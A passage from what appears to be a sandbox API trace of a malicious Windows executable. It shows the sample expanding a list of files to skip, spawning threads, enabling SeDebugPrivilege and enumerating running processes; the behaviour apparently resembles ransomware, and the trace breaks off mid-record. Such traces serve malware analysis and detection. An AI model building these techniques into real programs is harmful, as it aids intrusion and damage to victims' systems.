(HeapHandle=0x170000, Flags=0x0, Size=0x10) returned 0x177cf0 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18b718 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x250) returned 0x18b930 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0xa0) returned 0x17a4a0 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x96) returned 0x17b458 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x96) returned 0x17a230 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0070.091] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt", lpDst=0x17b458, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;sfor.txt") returned 0x4b [0070.091] GetProcessHeap () returned 0x170000 [0070.091] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17a230 | out: hHeap=0x170000) returned 1 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17a4a0 | out: hHeap=0x170000) returned 1 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x70) returned 0x17ad60 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x62) returned 0x1704a0 [0070.091] GetProcessHeap () returned 0x170000 [0070.091] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x62) returned 0x178980 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0070.092] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x1704a0, nSize=0x31 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x178980 | out: hHeap=0x170000) returned 1 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1704a0, Size=0xc2) returned 0x17a4a0 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0xc2) returned 0x17a230 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x90) returned 0x174b30 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x174b30 | out: hHeap=0x170000) returned 1 [0070.092] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x17a4a0, nSize=0x61 | out: lpDst="C:\\WINDOWS;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17a230 | out: hHeap=0x170000) returned 1 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17ad60 | out: hHeap=0x170000) returned 1 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20a) returned 0x18bb88 [0070.092] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18bb88, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18bb88 | out: hHeap=0x170000) returned 1 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x182) returned 0x18bb88 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x24e) returned 0x18a468 [0070.092] GetProcessHeap () returned 0x170000 [0070.092] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x98) returned 0x17a230 [0070.093] GetProcessHeap () returned 0x170000 [0070.093] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x17a230, Size=0xae) returned 0x17a230 [0070.093] GetProcessHeap () returned 0x170000 [0070.093] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x6a) returned 0x17ad60 [0070.093] GetProcessHeap () returned 0x170000 [0070.093] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18b718 | out: hHeap=0x170000) returned 1 [0070.093] GetProcessHeap () returned 0x170000 [0070.093] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x18b930 | out: hHeap=0x170000) returned 1 [0070.093] GetProcessHeap () returned 0x170000 [0070.093] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17b458 | out: hHeap=0x170000) returned 1 [0070.093] GetProcessHeap () returned 0x170000 [0070.093] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17a4a0 | out: hHeap=0x170000) returned 1 [0070.093] GetProcessHeap () returned 0x170000 [0070.093] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x177cd8 | out: hHeap=0x170000) returned 1 [0070.093] GetProcessHeap () returned 0x170000 [0070.093] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17af38 | out: hHeap=0x170000) returned 1 [0070.093] GetProcessHeap () returned 0x170000 [0070.093] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1781c8 | out: hHeap=0x170000) returned 1 [0070.093] GetProcessHeap () returned 0x170000 [0070.093] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x17a5c8 | out: hHeap=0x170000) returned 1 [0070.093] GetProcessHeap () returned 0x170000 [0070.093] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x14) returned 0x180e40 [0070.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba22ee, lpParameter=0x180e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4 [0070.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba239a, lpParameter=0x95f944, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8 [0070.094] GetProcessHeap () returned 0x170000 [0070.094] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x14) returned 0x180e20 [0070.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba2161, lpParameter=0x180e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c [0070.095] GetProcessHeap () returned 0x170000 [0070.095] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x14) returned 0x180ec0 [0070.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba1a76, lpParameter=0x180ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210 [0070.096] GetProcessHeap () returned 0x170000 [0070.096] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x14) returned 0x180f20 [0070.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba1cc5, lpParameter=0x180f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214 [0070.096] WaitForSingleObject (hHandle=0x210, dwMilliseconds=0xffffffff) returned 0x0 [0071.085] WaitForMultipleObjects (nCount=0x4, lpHandles=0x95f9a0*=0x1e4, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 4 os_tid = 0x1158 Thread: id = 5 os_tid = 0x10d8 [0070.206] GetProcessHeap () returned 0x170000 [0070.206] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x440) returned 0x18a8d0 [0070.207] GetProcessHeap () returned 0x170000 [0070.207] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x30) returned 0x1867b0 [0070.207] GetCurrentProcess () returned 0xffffffff [0070.207] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x224f8f8 | out: TokenHandle=0x224f8f8*=0x218) returned 1 [0070.207] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x224f8f0 | out: lpLuid=0x224f8f0*(LowPart=0x14, HighPart=0)) returned 1 [0070.211] AdjustTokenPrivileges (in: TokenHandle=0x218, DisableAllPrivileges=0, NewState=0x224f8e0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0070.211] CloseHandle (hObject=0x218) returned 1 [0070.211] GetProcessHeap () returned 0x170000 [0070.211] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1867b0 | out: hHeap=0x170000) returned 1 [0070.211] GetProcessHeap () returned 0x170000 [0070.211] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x434) returned 0x18dee8 [0070.212] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0070.225] Process32FirstW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.242] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0070.243] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0070.244] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.244] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0070.245] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.246] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0070.246] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0070.247] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0070.247] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.248] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0070.248] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0070.249] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.250] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0070.250] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.251] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.251] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.252] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.253] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.253] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.254] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.255] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.255] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.256] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.257] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0070.257] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.258] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0070.260] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0070.261] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.262] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0070.262] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0070.263] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0070.264] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0070.264] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0070.265] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0070.266] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0070.266] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0070.267] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.267] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0070.268] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0070.269] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0070.270] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0070.270] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0070.271] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0070.271] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0070.272] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0070.273] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0070.273] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0070.274] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0070.275] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0070.275] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0070.276] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0070.277] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0070.277] Process32NextW (in: hSnapshot=0x218, lppe=0x224f6cc | out: lppe=0x224f6cc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, 